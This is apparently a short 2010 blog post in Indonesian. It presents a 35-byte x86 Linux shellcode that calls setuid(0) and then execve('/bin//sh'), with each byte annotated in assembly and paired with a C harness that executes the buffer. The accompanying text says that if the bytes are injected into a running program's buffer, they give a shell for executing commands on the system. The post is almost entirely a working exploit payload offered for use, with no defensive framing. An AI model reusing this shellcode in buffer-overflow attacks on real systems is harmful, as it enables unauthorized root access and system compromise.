Saturday, July 10, 2010

Setuid(0) && execve("/bin//sh",0,0) shellcode

Ini didapat dari hasi baca saja, inti dari kode ini yaitu eksekusi shellcode. Apabila shellcode ini masuk ke dalam buffer program yang berjalan kemudian tereksekusi maka akan menghasilkan sebuah shell di dalam system yang mana kita bisa menggunakan shell tersebut untuk mengeksekusi perintah-perintah di dalam sistem di mana program dijalankan.
// 35 bytes

char shellcode[]=
"\x31\xc0"                      //xor    %eax,%eax
"\x31\xdb"                      //xor    %ebx,%ebx
"\x31\xc9"                      //xor    %ecx,%ecx
"\x31\xd2"                      //xor    %edx,%edx
"\xb0\x17"                      //mov    $0x17,%al
"\x31\xdb"                      //xor    %ebx,%ebx
"\xcd\x80"                      //int    $0x80
"\xb0\x0b"                      //mov    $0xb,%al
"\x53"                          //push   %ebx
"\x68\x2f\x2f\x73\x68"          //push   $0x68732f2f
"\x68\x2f\x62\x69\x6e"          //push   $0x6e69622f
"\x89\xe3"                      //mov    %esp,%ebx
"\x31\xc9"                      //xor    %ecx,%ecx
"\x31\xd2"                      //xor    %edx,%edx
"\xcd\x80";                     //int    $0x80

int main(void)
{
 (*(void(*)()) shellcode)();
}

No comments:

Post a Comment